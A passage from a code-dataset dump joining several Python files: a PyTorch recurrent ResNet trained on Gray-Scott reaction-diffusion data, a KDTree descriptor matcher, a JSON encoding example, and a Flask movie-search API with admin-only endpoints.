0]]]]\r\n\r\n\r\ndef conv3x3(in_planes: int, out_planes: int, stride=1):\r\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\r\n padding=1, bias=True, padding_mode='circular')\r\n\r\n\r\ndef conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:\r\n \"\"\"1x1 convolution\"\"\"\r\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=True)\r\n\r\n\r\nclass ResidualBlock(nn.Module):\r\n def __init__(self, inplanes: int, planes: int, stride: int = 1, norm_layer=None) -> None:\r\n super(ResidualBlock, self).__init__()\r\n if norm_layer is None:\r\n norm_layer = nn.BatchNorm2d\r\n\r\n self.conv1 = conv3x3(inplanes, 64, stride)\r\n self.tanh = nn.Tanh()\r\n self.conv2 = conv3x3(64, 64)\r\n\r\n self.conv3 = conv1x1(64, 2, stride=1) # as output layer\r\n\r\n self.conv1.bias.data.fill_(0.0)\r\n self.conv2.bias.data.fill_(0.0)\r\n self.conv3.bias.data.fill_(0.0)\r\n c = 0.05\r\n self.conv1.weight.data.uniform_(-c * np.sqrt(1 / (2 * 64 * 3 * 3)), c * np.sqrt(1 / (2 * 64 * 3 * 3)))\r\n self.conv2.weight.data.uniform_(-c * np.sqrt(1 / (64 * 64 * 3 * 3)), c * np.sqrt(1 / (64 * 64 * 3 * 3)))\r\n self.conv3.weight.data.uniform_(-c * np.sqrt(1 / (64 * 2 * 1 * 1)), c * np.sqrt(1 / (64 * 2 * 1 * 1)))\r\n\r\n def forward(self, x: Tensor) -> Tensor:\r\n identity = x\r\n\r\n out = self.conv1(x)\r\n out = self.tanh(out)\r\n\r\n out = self.conv2(out)\r\n out = self.tanh(out)\r\n out = self.conv3(out) # 1 by 1 conv to produce 2-channel output\r\n out = self.tanh(out)\r\n\r\n out = out + identity\r\n\r\n return out\r\n\r\n\r\nclass RecurrentResNet(nn.Module):\r\n ''' Recurrent ResNet '''\r\n\r\n def __init__(self, input_channels, hidden_channels, output_channels, init_state_low, input_kernel_size,\r\n input_stride, input_padding, step=1, effective_step=None):\r\n\r\n super(RecurrentResNet, self).__init__()\r\n\r\n # input channels of layer includes input_channels and hidden_channels of cells\r\n self.input_channels = input_channels\r\n self.hidden_channels = hidden_channels\r\n self.output_channels = output_channels\r\n self.input_kernel_size = input_kernel_size\r\n self.input_stride = input_stride\r\n self.input_padding = input_padding\r\n self.step = step\r\n self.effective_step = effective_step\r\n self._all_layers = []\r\n self.init_state_low = init_state_low\r\n self.init_state = []\r\n\r\n name = 'ResBlock'\r\n cell = ResidualBlock(inplanes=2, planes=64)\r\n\r\n setattr(self, name, cell)\r\n self._all_layers.append(cell)\r\n\r\n def forward(self):\r\n self.init_state = F.interpolate(self.init_state_low, (100, 100), mode='bicubic')\r\n internal_state = []\r\n outputs = [self.init_state]\r\n second_last_state = []\r\n\r\n for step in range(self.step):\r\n name = 'ResBlock'\r\n # all cells are initialized in the first step\r\n if step == 0:\r\n h = self.init_state\r\n internal_state = h\r\n\r\n # forward\r\n h = internal_state\r\n # hidden state + output\r\n h = getattr(self, name)(h)\r\n o = h\r\n internal_state = h\r\n\r\n if step == (self.step - 2):\r\n # last output is a dummy for central FD\r\n second_last_state = internal_state.clone() # save state to enable batch training\r\n\r\n # after many layers output the result save at time step t\r\n if step in self.effective_step:\r\n outputs.append(o)\r\n\r\n return outputs, second_last_state\r\n\r\n\r\nclass Conv2dDerivative(nn.Module):\r\n def __init__(self, DerFilter, resol, kernel_size=5, name=''):\r\n '''\r\n :param DerFilter: constructed derivative filter, e.g. Laplace filter\r\n :param resol: resolution of the filter, used to divide the output, e.g. c*dt, c*dx or c*dx^2\r\n :param kernel_size:\r\n :param name: optional name for the operator\r\n '''\r\n super(Conv2dDerivative, self).__init__()\r\n self.resol = resol # constant in the finite difference\r\n self.name = name\r\n self.input_channels = 1\r\n self.output_channels = 1\r\n self.kernel_size = kernel_size\r\n\r\n self.padding = int((kernel_size - 1) / 2)\r\n self.filter = nn.Conv2d(self.input_channels, self.output_channels, self.kernel_size, \r\n 1, padding=0, bias=False)\r\n # Fixed gradient operator\r\n self.filter.weight = nn.Parameter(torch.tensor(DerFilter, dtype=torch.float32), requires_grad=False)\r\n\r\n def forward(self, input):\r\n derivative = self.filter(input)\r\n return derivative / self.resol\r\n\r\n\r\nclass Conv1dDerivative(nn.Module):\r\n def __init__(self, DerFilter, resol, kernel_size=3, name=''):\r\n super(Conv1dDerivative, self).__init__()\r\n\r\n self.resol = resol # $\\delta$*constant in the finite difference\r\n self.name = name\r\n self.input_channels = 1\r\n self.output_channels = 1\r\n self.kernel_size = kernel_size\r\n\r\n self.padding = int((kernel_size - 1) / 2)\r\n self.filter = nn.Conv1d(self.input_channels, self.output_channels, self.kernel_size, \r\n 1, padding=0, bias=False)\r\n\r\n # Fixed gradient operator\r\n self.filter.weight = nn.Parameter(torch.tensor(DerFilter, dtype=torch.float32), requires_grad=False)\r\n\r\n def forward(self, input):\r\n derivative = self.filter(input)\r\n return derivative / self.resol\r\n\r\n\r\nclass loss_generator(nn.Module):\r\n ''' Loss generator for physics loss '''\r\n\r\n def __init__(self, dt = (1.0/2), dx = (1.0/100)):\r\n\r\n '''\r\n Construct the derivatives, X = Width, Y = Height \r\n\r\n '''\r\n\r\n self.dt = dt\r\n self.dx = dx\r\n \r\n super(loss_generator, self).__init__()\r\n\r\n # spatial derivative operator\r\n self.laplace = Conv2dDerivative(\r\n DerFilter = lap_2d_op,\r\n resol = (dx**2),\r\n kernel_size = 5,\r\n name = 'laplace_operator').cuda()\r\n\r\n # temporal derivative operator\r\n self.dt = Conv1dDerivative(\r\n DerFilter = [[[-1, 1, 0]]],\r\n resol = (dt*1),\r\n kernel_size = 3,\r\n name = 'partial_t').cuda()\r\n\r\n def get_phy_Loss(self, output): # Staggered version\r\n '''\r\n Calculate the physics loss\r\n\r\n Args:\r\n -----\r\n output: tensor, dim:\r\n shape: [time, channel, height, width]\r\n\r\n Returns:\r\n --------\r\n f_u: float\r\n physics loss of u\r\n\r\n f_v: float\r\n physics loss of v\r\n '''\r\n\r\n # spatial derivatives\r\n laplace_u = self.laplace(output[0:-2, 0:1, :, :]) # 201x1x128x128\r\n laplace_v = self.laplace(output[0:-2, 1:2, :, :]) # 201x1x128x128\r\n\r\n # temporal derivatives - u\r\n u = output[:, 0:1, 2:-2, 2:-2]\r\n lent = u.shape[0]\r\n lenx = u.shape[3]\r\n leny = u.shape[2]\r\n u_conv1d = u.permute(2, 3, 1, 0) # [height(Y), width(X), c, step]\r\n u_conv1d = u_conv1d.reshape(lenx*leny, 1, lent)\r\n u_t = self.dt(u_conv1d) # lent-2 due to no-padding\r\n u_t = u_t.reshape(leny, lenx, 1, lent-2)\r\n u_t = u_t.permute(3, 2, 0, 1) # [step-2, c, height(Y), width(X)]\r\n\r\n # temporal derivatives - v\r\n v = output[:, 1:2, 2:-2, 2:-2]\r\n v_conv1d = v.permute(2, 3, 1, 0) # [height(Y), width(X), c, step]\r\n v_conv1d = v_conv1d.reshape(lenx*leny, 1, lent)\r\n v_t = self.dt(v_conv1d) # lent-2 due to no-padding\r\n v_t = v_t.reshape(leny, lenx, 1, lent-2)\r\n v_t = v_t.permute(3, 2, 0, 1) # [step-2, c, height(Y), width(X)]\r\n\r\n u = output[0:-2, 0:1, 2:-2, 2:-2] # [step, c, height(Y), width(X)]\r\n v = output[0:-2, 1:2, 2:-2, 2:-2] # [step, c, height(Y), width(X)]\r\n\r\n # make sure the dimensions consistent\r\n assert laplace_u.shape == u_t.shape\r\n assert u_t.shape == v_t.shape\r\n assert laplace_u.shape == u.shape\r\n assert laplace_v.shape == v.shape\r\n\r\n # gray scott eqn\r\n Du = 2e-5\r\n Dv = Du/4\r\n f = 1/25\r\n k = 3/50\r\n\r\n f_u = (Du*laplace_u - u*(v**2) + f*(1-u) - u_t)/1\r\n f_v = (Dv*laplace_v + u*(v**2) - (f+k)*v - v_t)/1\r\n\r\n return f_u, f_v\r\n\r\ndef get_ic_loss(model):\r\n Upconv = model.UpconvBlock\r\n init_state_low = model.init_state_low\r\n init_state_bicubic = F.interpolate(init_state_low, (100, 100), mode='bicubic')\r\n mse_loss = nn.MSELoss()\r\n init_state_pred = Upconv(init_state_low)\r\n loss_ic = mse_loss(init_state_pred, init_state_bicubic)\r\n return loss_ic\r\n\r\ndef loss_gen(output, loss_func):\r\n '''calculate the phycis loss'''\r\n \r\n # Padding x axis due to periodic boundary condition\r\n # shape: [27, 2, 131, 131]\r\n output = torch.cat((output[:, :, :, -2:], output, output[:, :, :, 0:3]), dim=3)\r\n output = torch.cat((output[:, :, -2:, :], output, output[:, :, 0:3, :]), dim=2)\r\n\r\n # get physics loss\r\n mse_loss = nn.MSELoss()\r\n f_u, f_v = loss_func.get_phy_Loss(output)\r\n loss = mse_loss(f_u, torch.zeros_like(f_u).cuda()) + \\\r\n mse_loss(f_v, torch.zeros_like(f_v).cuda())\r\n return loss\r\n\r\n\r\ndef train(model, truth, n_iters, time_batch_size, learning_rate, dt, dx, restart=True): # restart=False\r\n # define some parameters\r\n best_loss = 10000\r\n # model\r\n if restart:\r\n model, optimizer, scheduler = load_model(model)\r\n else:\r\n optimizer = optim.Adam(model.parameters(), lr = learning_rate, weight_decay=0.0001)\r\n scheduler = StepLR(optimizer, step_size=100, gamma=0.97)\r\n for param_group in optimizer.param_groups:\r\n param_group['lr']=param_group['lr']*0.7\r\n loss_func = loss_generator(dt, dx)\r\n for epoch in range(n_iters):\r\n # input: [time,. batch, channel, height, width]\r\n optimizer.zero_grad()\r\n num_time_batch = 1\r\n batch_loss, phy_loss, ic_loss, data_loss, val_loss = [0]*5\r\n # One single batch\r\n output, second_last_state = model() # output is a list\r\n output = torch.cat(tuple(output), dim=0)\r\n mse_loss = nn.MSELoss()\r\n # 21x2x50x50\r\n pred, gt = output[0:-1:20, :, ::4, ::4], truth[::20, :, ::4, ::4].cuda()\r\n idx = int(pred.shape[0]*0.9)\r\n pred_tra, pred_val = pred[:idx], pred[idx:] # prediction\r\n gt_tra, gt_val = gt[:idx], gt[idx:] # ground truth\r\n loss_data = mse_loss(pred_tra, gt_tra) # data loss\r\n loss_valid = mse_loss(pred_val, gt_val)\r\n # get physics loss (for validation, not used for training)\r\n loss_phy = loss_gen(output, loss_func)\r\n loss = loss_data\r\n loss.backward(retain_graph=True)\r\n phy_loss, data_loss, val_loss = loss_phy.item(), loss_data.item(), loss_valid.item()\r\n optimizer.step()\r\n scheduler.step()\r\n # print loss in each epoch\r\n print('[%d/%d %d%%] loss: %.7f, data_loss: %.7f, val_loss: %.7f, loss phy_loss: %.8f' % ((epoch+1), n_iters, ((epoch+1)/n_iters*100.0),\r\n batch_loss, data_loss, val_loss, phy_loss))\r\n # Save checkpoint\r\n if val_loss < best_loss and epoch%10==0:\r\n best_loss = val_loss\r\n for param_group in optimizer.param_groups:\r\n print(param_group['lr'])\r\n print('save model!!!')\r\n torch.save({\r\n 'model_state_dict': model.state_dict(),\r\n 'optimizer_state_dict': optimizer.state_dict(),\r\n }, './model/checkpoint.pt')\r\n return train_loss_list\r\n\r\ndef save_model(model, model_name, save_path):\r\n ''' save the model '''\r\n torch.save(model.state_dict(), save_path + model_name + '.pt')\r\n\r\n\r\ndef load_model(model):\r\n # Load model and optimizer state\r\n checkpoint = torch.load('./model/checkpoint.pt')\r\n model.load_state_dict(checkpoint['model_state_dict'])\r\n optimizer = optim.Adam(model.parameters(), lr=0.0, weight_decay=0.0001)\r\n optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\r\n scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=100, gamma=0.97)\r\n return model, optimizer, scheduler\r\n\r\n\r\ndef count_parameters(model):\r\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\r\n\r\ndef postProcess_2x3(output, truth, low_res, xmin, xmax, ymin, ymax, num, fig_save_path):\r\n ''' num: Number of time step\r\n '''\r\n x = np.linspace(-0.5, 0.5, 101)\r\n y = np.linspace(-0.5, 0.5, 101)\r\n x_star, y_star = np.meshgrid(x, y)\r\n u_low_res, v_low_res = low_res[1*num, 0, ...], low_res[1*num, 1, ...]\r\n u_low_res, v_low_res = np.kron(u_low_res.detach().cpu().numpy(), np.ones((4, 4))), \\\r\n np.kron(v_low_res.detach().cpu().numpy(), np.ones((4, 4)))\r\n u_low_res, v_low_res = np.concatenate((u_low_res, u_low_res[:, 0:1]), axis=1), \\\r\n np.concatenate((v_low_res, v_low_res[:, 0:1]), axis=1)\r\n u_low_res, v_low_res = np.concatenate((u_low_res, u_low_res[0:1, :]), axis=0), \\\r\n np.concatenate((v_low_res, v_low_res[0:1, :]), axis=0)\r\n u_star, v_star = truth[1*num, 0, ...], truth[1*num, 1, ...]\r\n u_pred, v_pred = output[num, 0, :, :].detach().cpu().numpy(), \\\r\n output[num, 1, :, :].detach().cpu().numpy()\r\n #\r\n fig, ax = plt.subplots(nrows=2, ncols=3, figsize=(11, 7))\r\n fig.subplots_adjust(hspace=0.25, wspace=0.25)\r\n #\r\n cf = ax[0, 0].scatter(x_star, y_star, c=u_pred, alpha=1.0, edgecolors='none', cmap='hot', marker='s', s=4, vmin=0, vmax=1)\r\n ax[0, 0].axis('square')\r\n ax[0, 0].set_xlim([xmin, xmax])\r\n ax[0, 0].set_ylim([ymin, ymax])\r\n ax[0, 0].set_xticks([])\r\n ax[0, 0].set_yticks([])\r\n ax[0, 0].set_title('u (PeCRNN)')\r\n fig.colorbar(cf, ax=ax[0, 0], fraction=0.046, pad=0.04)\r\n #\r\n cf = ax[0, 1].scatter(x_star, y_star, c=u_star, alpha=1.0, edgecolors='none', cmap='hot', marker='s', s=4, vmin=0, vmax=1)\r\n ax[0, 1].axis('square')\r\n ax[0, 1].set_xlim([xmin, xmax])\r\n ax[0, 1].set_ylim([ymin, ymax])\r\n ax[0, 1].set_xticks([])\r\n ax[0, 1].set_yticks([])\r\n ax[0, 1].set_title('u (Ref.)')\r\n fig.colorbar(cf, ax=ax[0, 1], fraction=0.046, pad=0.04)\r\n #\r\n cf = ax[0, 2].scatter(x_star, y_star, c=u_low_res, alpha=1.0, edgecolors='none', cmap='hot', marker='s', s=4, vmin=0, vmax=1)\r\n ax[0, 2].axis('square')\r\n ax[0, 2].set_xlim([xmin, xmax])\r\n ax[0, 2].set_ylim([ymin, ymax])\r\n ax[0, 2].set_xticks([])\r\n ax[0, 2].set_yticks([])\r\n ax[0, 2].set_title('u (Meas.)')\r\n fig.colorbar(cf, ax=ax[0, 2], fraction=0.046, pad=0.04)\r\n #\r\n cf = ax[1, 0].scatter(x_star, y_star, c=v_pred, alpha=1.0, edgecolors='none', cmap='hot', marker='s', s=4, vmin=0, vmax=1)\r\n ax[1, 0].axis('square')\r\n ax[1, 0].set_xlim([xmin, xmax])\r\n ax[1, 0].set_ylim([ymin, ymax])\r\n ax[1, 0].set_xticks([])\r\n ax[1, 0].set_yticks([])\r\n ax[1, 0].set_title('v (PeCRNN)')\r\n fig.colorbar(cf, ax=ax[1, 0], fraction=0.046, pad=0.04)\r\n #\r\n cf = ax[1, 1].scatter(x_star, y_star, c=v_star, alpha=1.0, edgecolors='none', cmap='hot', marker='s', s=4, vmin=0, vmax=1)\r\n ax[1, 1].axis('square')\r\n ax[1, 1].set_xlim([xmin, xmax])\r\n ax[1, 1].set_ylim([ymin, ymax])\r\n ax[1, 1].set_xticks([])\r\n ax[1, 1].set_yticks([])\r\n ax[1, 1].set_title('v (Ref.)')\r\n fig.colorbar(cf, ax=ax[1, 1], fraction=0.046, pad=0.04)\r\n #\r\n cf = ax[1, 2].scatter(x_star, y_star, c=v_low_res, alpha=1.0, edgecolors='none', cmap='hot', marker='s', s=4, vmin=0, vmax=1)\r\n ax[1, 2].axis('square')\r\n ax[1, 2].set_xlim([xmin, xmax])\r\n ax[1, 2].set_ylim([ymin, ymax])\r\n ax[1, 2].set_xticks([])\r\n ax[1, 2].set_yticks([])\r\n ax[1, 2].set_title('v (Meas.)')\r\n fig.colorbar(cf, ax=ax[1, 2], fraction=0.046, pad=0.04)\r\n #\r\n plt.savefig(fig_save_path + 'uv_comparison_'+str(num).zfill(3)+'.png')\r\n plt.close('all')\r\n\r\ndef postProcess_2x2(output, truth, xmin, xmax, ymin, ymax, num, fig_save_path):\r\n ''' num: Number of time step\r\n '''\r\n x = np.linspace(-0.5, 0.5, 101)\r\n y = np.linspace(-0.5, 0.5, 101)\r\n x_star, y_star = np.meshgrid(x, y)\r\n u_star, v_star = truth[num, 0, ...], truth[num, 1, ...]\r\n u_pred, v_pred = output[num, 0, :, :].detach().cpu().numpy(), \\\r\n output[num, 1, :, :].detach().cpu().numpy()\r\n #\r\n fig, ax = plt.subplots(nrows=2, ncols=2, figsize=(7, 7))\r\n fig.subplots_adjust(hspace=0.25, wspace=0.25)\r\n #\r\n cf = ax[0, 0].scatter(x_star, y_star, c=u_pred, alpha=1.0, edgecolors='none', cmap='hot', marker='s', s=4, vmin=0, vmax=1)\r\n ax[0, 0].axis('square')\r\n ax[0, 0].set_xlim([xmin, xmax])\r\n ax[0, 0].set_ylim([ymin, ymax])\r\n ax[0, 0].set_xticks([])\r\n ax[0, 0].set_yticks([])\r\n ax[0, 0].set_title('u (PeCRNN)')\r\n fig.colorbar(cf, ax=ax[0, 0], fraction=0.046, pad=0.04)\r\n #\r\n cf = ax[0, 1].scatter(x_star, y_star, c=np.abs(u_star-u_pred), alpha=1.0, edgecolors='none', cmap='hot', marker='s', s=4, vmin=0, vmax=1*0.2)\r\n ax[0, 1].axis('square')\r\n ax[0, 1].set_xlim([xmin, xmax])\r\n ax[0, 1].set_ylim([ymin, ymax])\r\n ax[0, 1].set_xticks([])\r\n ax[0, 1].set_yticks([])\r\n ax[0, 1].set_title('u (Error)')\r\n fig.colorbar(cf, ax=ax[0, 1], fraction=0.046, pad=0.04)\r\n #\r\n cf = ax[1, 0].scatter(x_star, y_star, c=v_pred, alpha=1.0, edgecolors='none', cmap='hot', marker='s', s=4, vmin=0, vmax=1)\r\n ax[1, 0].axis('square')\r\n ax[1, 0].set_xlim([xmin, xmax])\r\n ax[1, 0].set_ylim([ymin, ymax])\r\n ax[1, 0].set_xticks([])\r\n ax[1, 0].set_yticks([])\r\n ax[1, 0].set_title('v (PeCRNN)')\r\n fig.colorbar(cf, ax=ax[1, 0], fraction=0.046, pad=0.04)\r\n #\r\n cf = ax[1, 1].scatter(x_star, y_star, c=np.abs(v_star-v_pred), alpha=1.0, edgecolors='none', cmap='hot', marker='s', s=4, vmin=0, vmax=1*0.2)\r\n ax[1, 1].axis('square')\r\n ax[1, 1].set_xlim([xmin, xmax])\r\n ax[1, 1].set_ylim([ymin, ymax])\r\n ax[1, 1].set_xticks([])\r\n ax[1, 1].set_yticks([])\r\n ax[1, 1].set_title('v (Error)')\r\n fig.colorbar(cf, ax=ax[1, 1], fraction=0.046, pad=0.04)\r\n #\r\n plt.savefig(fig_save_path + 'error_'+str(num).zfill(3)+'.png')\r\n plt.close('all')\r\n\r\ndef summary_parameters(model):\r\n for i in model.parameters():\r\n print(i.shape)\r\n\r\ndef add_noise(truth, pec=0.05): # BxCx101x101\r\n from torch.distributions import normal\r\n assert truth.shape[1]==2\r\n torch.manual_seed(66)\r\n uv = [truth[:,0:1,:,:], truth[:,1:2,:,:]]\r\n uv_noi = []\r\n for truth in uv:\r\n n_distr = normal.Normal(0.0, 1.0)\r\n R = n_distr.sample(truth.shape)\r\n std_R = torch.std(R) # std of samples\r\n std_T = torch.std(truth)\r\n noise = R*std_T/std_R*pec\r\n uv_noi.append(truth+noise)\r\n return torch.cat(uv_noi, dim=1)\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n ################# prepare the input dataset ####################\r\n time_steps = 400 # 800 steps for PeRCNN (1700 steps inference), 200 steps (work best) for recurrent ResNet\r\n dt = 0.5*1\r\n dx = 1.0/100\r\n dy = 1.0/100\r\n\r\n ################### define the Initial conditions ####################\r\n import scipy.io as sio\r\n data = sio.loadmat('../../2d_gs_rd/data/2DRD_2x3001x100x100_[dt=05].mat')['uv']\r\n UV = np.transpose(data, (1, 0, 2, 3)).astype(np.float32) # 2001x2x100x100\r\n truth_clean = torch.from_numpy(UV[:3001]) # [201, 2, 100, 100]\r\n # Add noise 10%\r\n UV = add_noise(torch.tensor(UV), pec=0.1)\r\n # Retrieve initial condition\r\n IC = UV[0:1, :, :, :] # 1x2x100x100\r\n\r\n # get the ground truth (noisy) for training\r\n truth = UV[:time_steps*1+1]\r\n\r\n ################# build the model #####################\r\n # define the mdel hyperparameters\r\n time_batch_size = time_steps\r\n steps = time_batch_size + 1\r\n effective_step = list(range(0, steps))\r\n n_iters = 5000\r\n learning_rate = 2e-4\r\n save_path = './model/'\r\n\r\n # Low-res initial condition\r\n U0_low = IC[0, 0, ::4, ::4]\r\n V0_low = IC[0, 1, ::4, ::4]\r\n h0 = torch.cat((U0_low[None, None, ...], V0_low[None, None, ...]), dim=1)\r\n init_state_low = h0.cuda()\r\n\r\n # Args no use, please make changes in class definition...\r\n model = RecurrentResNet(input_channels = 2,\r\n hidden_channels = 4,\r\n output_channels = 2,\r\n init_state_low = init_state_low,\r\n input_kernel_size = 5,\r\n input_stride = 1,\r\n input_padding = 2,\r\n step = steps,\r\n effective_step = effective_step).cuda()\r\n\r\n\r\n # train the model\r\n start = time.time()\r\n train_loss_list = train(model, truth, n_iters, time_batch_size, learning_rate, dt, dx, restart=False)\r\n end = time.time()\r\n\r\n print('The training time is: ', (end-start))\r\n\r\n\r\n # Do the forward inference\r\n output, _ = model()\r\n output = torch.cat(tuple(output), dim=0)\r\n\r\n # import scipy.io\r\n # output = output.detach().cpu().numpy()\r\n # output = np.transpose(output, [1, 0, 2, 3])\r\n # scipy.io.savemat('uv_2x2501x100x100_[PeRCNN].mat', {'uv': output[:, :-1, :, :]})\r\n\r\n # Padding x,y axis due to periodic boundary condition\r\n output = torch.cat((output, output[:, :, :, 0:1]), dim=3)\r\n output = torch.cat((output, output[:, :, 0:1, :]), dim=2)\r\n truth_clean = torch.cat((truth_clean, truth_clean[:, :, :, 0:1]), dim=3)\r\n truth_clean = torch.cat((truth_clean, truth_clean[:, :, 0:1, :]), dim=2)\r\n\r\n # init_state_bicubic = F.interpolate(init_state_low, (100, 100), mode='bicubic')\r\n low_res = truth[:, :, ::4, ::4] # .cpu().numpy()\r\n\r\n fig_save_path = './figures/'\r\n\r\n # post-process\r\n for i in range(0, 401, 40):\r\n print(i)\r\n postProcess_2x3(output, truth_clean, low_res, xmin=-0.5, xmax=0.5, ymin=-0.5, ymax=0.5,\r\n num=i, fig_save_path=fig_save_path)\r\n # postProcess_2x2(output, truth_clean, xmin=-0.5, xmax=0.5, ymin=-0.5, ymax=0.5,\r\n # num=i, fig_save_path='./error/')\r\n\r\n","sub_path":"misc/2d_gsrd_baselines/train_resnet_2d_gsrd.py","file_name":"train_resnet_2d_gsrd.py","file_ext":"py","file_size_in_byte":23024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"503328098","text":"from sklearn.neighbors import KDTree\nimport numpy as np\nimport sift\n\n\ndef KDTree_match(location1, location2, descriptors1, descriptors2, DR=0.6):\n loc = []\n tree = KDTree(descriptors2[1], leaf_size=128, metric='euclidean')\n for i in range(len(location1)):\n dist, ind = tree.query([descriptors1[1][i]], k=2)\n if dist[0][0] / dist[0][1] < DR:\n loc.append([round(location1[i][0]), round(location1[i][1]), round(location2[ind[0][0]][0]),\n round(location2[ind[0][0]][1])])\n\n return loc\n\n\ndef KDTree_match_pre(pre_dst_pts, pre_points4D, src_pts, dst_pts):\n loc = []\n loc4D = []\n tree = KDTree(pre_dst_pts, leaf_size=128, metric='euclidean')\n for i in range(len(src_pts)):\n dist, ind = tree.query([src_pts[i]], k=1)\n if dist[0][0] <= 0:\n loc.append(dst_pts[i])\n loc4D.append(pre_points4D[ind[0][0]])\n loc4D = np.array(loc4D)\n loc = np.array(loc)\n\n return loc, loc4D","sub_path":"kdtree.py","file_name":"kdtree.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"20894701","text":"import json \nfrom json import JSONEncoder \n\nclass Student: \n\tdef __init__(self, name, roll_no, address): \n\t\tself.name = name \n\t\tself.roll_no = roll_no \n\t\tself.address = address \n\n\nclass Address: \n\tdef __init__(self, city, street, pin): \n\t\tself.city = city \n\t\tself.street = street \n\t\tself.pin = pin \n\nclass EncodeStudent(JSONEncoder): \n\t\tdef default(self, o): \n\t\t\treturn o.__dict__ \n\t\t\t\naddress = Address(\"221B\", \"Baker Street\", \"203-001\") \nstudent = Student(\"Sherlock Holmes\", 53, address) \n\n# Encoding custom object to json \n# using cls(class) argument of \n# dumps method \nstudent_JSON = json.dumps(student, indent = 4, \n\t\t\t\t\t\tcls = EncodeStudent) \nprint(student_JSON) \nprint(type(student_JSON)) \n\n# Decoding \nstudent = json.loads(student_JSON) \nprint() \nprint(student) \nprint(type(student)) \n\n","sub_path":"DBMS/B7/json_encoding.py","file_name":"json_encoding.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"188972024","text":"from datetime import datetime\nfrom flask import Flask,jsonify,Blueprint,request\nfrom models import Movies,MovieGenre\nfrom auth import admin_token_required\nfrom app import db\nimport json\nAPI = Blueprint('API', __name__, url_prefix='/API')\n\n@API.route('/')\ndef checkServer():\n return jsonify({\"status\":\"Server is running\"})\n\n@API.route('/loadMovies',methods=[\"POST\"])\n@admin_token_required\ndef loadMoviesJson(current_user):\n \"\"\"\n **Access to admin only**\n Will Load movies in Bulk, pass JSON with array of movies and it will load all the movies in the DB.\n Takes:JSON\n Respond: Message with whether movies are added or not\n \"\"\"\n moviesListJson=request.get_data()\n MoviesList = json.loads(moviesListJson)\n Result=\"\"\n for movie in MoviesList:\n popularity=movie[\"99popularity\"]\n director=movie[\"director\"]\n genres=movie[\"genre\"]\n imdb_score=movie[\"imdb_score\"]\n movieName=movie[\"name\"]\n movieRecord=Movies(name=movieName,imdb_score=imdb_score,popularity99=popularity,director=director)\n db.session.add(movieRecord)\n db.session.flush()\n print(movieRecord.id,movieRecord.name,movieRecord.director)\n db.session.commit()\n for genre in genres:\n movieGenre=MovieGenre(MovieID=movieRecord.id,Genre=genre)\n #print(genreRecord.id,genreRecord.Genre,movieGenre.id)\n db.session.add(movieGenre)\n db.session.commit()\n Result+=(movieName+\" added successful to Database # \")\n return jsonify({\"result\":Result})\n\n@API.route('/SearchMovie',methods=[\"GET\"])\ndef SearchMovie():\n \"\"\"\n **Access to everyone**\n Will search movies on the basis of Movies Name and director name.\n Input: query paramter in url which will perform full text based search on movie name and director name.\n Example:- search harry and it will give result like harry potter movies and director with name harry smith.\n Respond: Message with JSON with movie details\n \"\"\"\n query=request.args.get('query')\n if not query:\n return {\"error\":401, \"message\":\"query is missing\"}\n if(len(query)<3):\n return jsonify({\"error\":\"401\",\"message\":\"Please search with 3 or more words\"})\n try:\n movies=Movies.query.whoosh_search(query).all()\n except:\n return jsonify({\"error\":\"401\",\"message\":\"Record not found/ Search Failed\"})\n result=[]\n for movie in movies:\n movieGenre=[]\n genres=MovieGenre.query.filter_by(MovieID=movie.id).all()\n for genre in genres:\n movieGenre.append(genre.Genre)\n result.append({\"id\":movie.id,\"movie\":movie.name,\"director\":movie.director,\"imdb_score\":str(movie.imdb_score),\"99popularity\":str(movie.popularity99),\"genre\":movieGenre})\n return jsonify(result)\n\n@API.route('/Movie/',methods=[\"GET\"])\ndef getMovieByID(movieID):\n \"\"\"\n **Access to everyone**\n Will search movies on the basis of Movie ID.\n Input: Movie ID in url which will perform search on movie ID.\n Example:- search mpvieID=2 and it will give result with movie ID 2.\n Respond: Message with JSON with movie details\n \"\"\"\n movie=Movies.query.filter_by(id=movieID).first()\n if not movie:\n return jsonify({\"error\":\"401\",\"message\":\"Record not found, enter valid movie ID\"})\n movieGenre=[]\n genres=MovieGenre.query.filter_by(MovieID=movieID).all()\n for genre in genres:\n movieGenre.append(genre.Genre)\n result={\"id\":movie.id,\"movie\":movie.name,\"director\":movie.director,\"imdb_score\":str(movie.imdb_score),\"99popularity\":str(movie.popularity99),\"genre\":movieGenre}\n return jsonify(result)\n\n@API.route('/MovieGenre/',methods=[\"GET\"])\ndef getMovieByGenre(genre):\n \"\"\"\n **Access to everyone**\n Will search movies on the basis of Movie ID.\n Input: Movie ID in url which will perform search on movie ID.\n Example:- search mpvieID=2 and it will give result with movie ID 2.\n Respond: Message with JSON with movie details\n \"\"\"\n movieGenreRecord=MovieGenre.query.filter_by(Genre=genre).all()\n if not movieGenreRecord:\n return jsonify({\"error\":\"401\",\"message\":\"No Record found with Genre \"+str(genre)})\n result=[]\n for mGenre in movieGenreRecord:\n movie=Movies.query.filter_by(id=mGenre.MovieID).first()\n movieGenre=[]\n genres=MovieGenre.query.filter_by(MovieID=mGenre.MovieID).all()\n for genre in genres:\n movieGenre.append(genre.Genre)\n result.append({\"id\":movie.id,\"movie\":movie.name,\"director\":movie.director,\"imdb_score\":str(movie.imdb_score),\"99popularity\":str(movie.popularity99),\"genre\":movieGenre})\n return jsonify(result)\n@API.route('/Movie/',methods=[\"DELETE\"])\n@admin_token_required\ndef deleteMovieByID(current_user,movieID):\n \"\"\"\n **Access to admin only**\n Will search movies on the basis of Movie ID and delete them if it exist.\n Input: Movie ID in url which will perform deletion on movie ID.\n Respond: Message with status\n \"\"\"\n movie=Movies.query.filter_by(id=movieID).first()\n if not movie:\n return jsonify({\"error\":\"401\",\"message\":\"Record not found, enter valid movie ID to 